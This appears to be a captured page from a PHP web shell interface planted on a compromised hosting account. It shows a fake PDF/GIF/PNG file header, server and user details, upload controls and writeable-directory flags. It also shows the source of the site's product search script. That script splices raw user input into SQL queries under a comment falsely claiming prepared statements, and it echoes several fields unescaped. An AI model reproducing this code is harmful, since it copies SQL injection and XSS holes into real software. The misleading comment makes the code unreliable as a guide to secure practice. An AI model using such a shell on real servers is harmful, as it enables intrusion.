%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/searching.php
<?php
include('function.php');
ini_set("display_errors", 1);
ini_set("display_startup_errors", 1);
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['search'])) {
    $searchQuery = trim($_POST['search']);

    // Use prepared statements to prevent SQL injection
    $query = " SELECT * FROM `product_tbl` WHERE status='1' AND (title LIKE '%$searchQuery%' OR product_id LIKE '%$searchQuery%') AND service_id='0' LIMIT 4";

    $query1 = " SELECT * FROM `product_tbl` WHERE status='1' AND (title LIKE '%$searchQuery%' OR product_id LIKE '%$searchQuery%') AND service_id!='0' LIMIT 4";

    $query2 = "SELECT * FROM product_product_sevice_tbl WHERE status = '1' AND title LIKE '%$searchQuery%' LIMIT 4";

    $query3 = "SELECT * FROM sevice_tbl WHERE status = '1' AND title LIKE '%$searchQuery%' AND id != '1' LIMIT 4";

    $stmt = mysqli_query($conn, $query);
    $stmt1 = mysqli_query($conn, $query1);
    $stmt2 = mysqli_query($conn, $query2);
    $stmt3 = mysqli_query($conn, $query3);
    if (mysqli_num_rows($stmt) > 0) {
        while ($results = mysqli_fetch_assoc($stmt)) {
            $catId = (int) $results['cat_id'];
            $catQuery = mysqli_query($conn, "SELECT * FROM `product_product_sevice_tbl` WHERE id = '$catId'");
            $pro_cat = mysqli_fetch_array($catQuery);
            echo '<a href="' . $base_url . htmlspecialchars($pro_cat['slug'], ENT_QUOTES, 'UTF-8') . '-prod.php#find_pro_' . $results['id'] . '" class="dropdown-item">';
            echo '<img src="' . $base_url . 'images/Upload/product/' . htmlspecialchars($results['image1'], ENT_QUOTES, 'UTF-8') . '" alt="Product Image" style="width: 50px; height: 50px; margin-right: 10px;">';
            echo wordwrap(htmlspecialchars($results['title'], ENT_QUOTES, 'UTF-8'), 60, '<br>');
            echo '</a>';
        }
    }

    if (mysqli_num_rows($stmt1) > 0) {
        while ($results1 = mysqli_fetch_assoc($stmt1)) {
            $pro_subcat = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `sevice_tbl` WHERE id='" . $results1['service_id'] . "'"));
            echo '<a href="' . $base_url . $pro_subcat['slug'] . '-serv.php#find_suv_' . $results1['id'] . '" class="dropdown-item">';
            echo '<img src="' . $base_url . 'images/Upload/product/' . htmlspecialchars($results1['image1'], ENT_QUOTES, 'UTF-8') . '" alt="Product Image" style="width: 50px; height: 50px; margin-right: 10px;">';
            echo wordwrap($results1['title'], 60, '<br>');
            echo '</a>';
        }
    }
    if (mysqli_num_rows($stmt2) > 0) {
        while ($results2 = mysqli_fetch_assoc($stmt2)) {
            echo '<a href="' . $base_url . $results2['slug'] . '-prod.php" class="dropdown-item">';
            echo '<img src="' . $base_url . 'images/Upload/service/' . htmlspecialchars($results2['image1'], ENT_QUOTES, 'UTF-8') . '" alt="Subcategory Image" style="width: 50px; height: 50px; margin-right: 10px;">';
            echo wordwrap($results2['title'], 60, '<br>');
            echo '</a>';
        }
    }
    if (mysqli_num_rows($stmt3) > 0) {
        while ($results3 = mysqli_fetch_assoc($stmt3)) {
            echo '<a href="' . $base_url . $results3['slug'] . '-serv.php" class="dropdown-item">';
            echo '<img src="' . $base_url . 'images/Upload/service/' . htmlspecialchars($results3['image1'], ENT_QUOTES, 'UTF-8') . '" alt="Brand Image" style="width: 50px; height: 50px; margin-right: 10px;">';
            echo wordwrap($results3['title'], 60, '<br>');
            echo '</a>';
        }
    }
}

VaKeR 2022